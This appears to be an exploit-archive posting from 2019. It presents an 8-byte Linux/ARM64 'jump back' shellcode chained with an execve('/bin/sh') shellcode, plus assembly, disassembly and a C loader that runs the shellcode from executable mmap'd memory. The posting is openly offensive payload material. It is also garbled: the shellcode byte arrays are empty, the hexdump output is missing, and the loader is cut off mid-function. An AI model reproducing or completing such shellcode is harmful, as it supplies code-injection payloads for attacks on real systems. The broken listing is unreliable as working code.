Linux/ARM64 Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode

8 bytes small Linux/ARM64 jump back shellcode + execve("/bin/sh", NULL, NULL) shellcode.

MD5 | f672fceee4b282ff0531d21d82df0419

# Title: Linux/ARM64 - Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode (8 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c

ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat jumpback.s
.section .text
.global _start
// Jump back to _start-0x30
adr x10, .-0x30 // x10 = _start-0x30
br x10 // Jump to _start-0x30
ubuntu@ubuntu:~/works$ as -o jumpback.o jumpback.s && ld -o jumpback jumpback.o
ubuntu@ubuntu:~/works$ objdump -d ./jumpback

./jumpback: file format elf64-littleaarch64

Disassembly of section .text:

0000000000400078 <_start>:
400078: 10fffe8a adr x10, 400048 <_start-0x30>
40007c: d61f0140 br x10
ubuntu@ubuntu:~/works$ objcopy -O binary jumpback jumpback.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' jumpback.bin && echo


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

// Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
char shell[] =

char jumpback[] =

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(jumpback));

void *ptr1 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
void *ptr2;

if (ptr1 == MAP_FAILED) {

ptr2 = ptr1 + 0x30;

memcpy(ptr1, shell, sizeof(shell));
memcpy(ptr2, jumpback, sizeof(jumpback));

sc = ptr2;


return 0;

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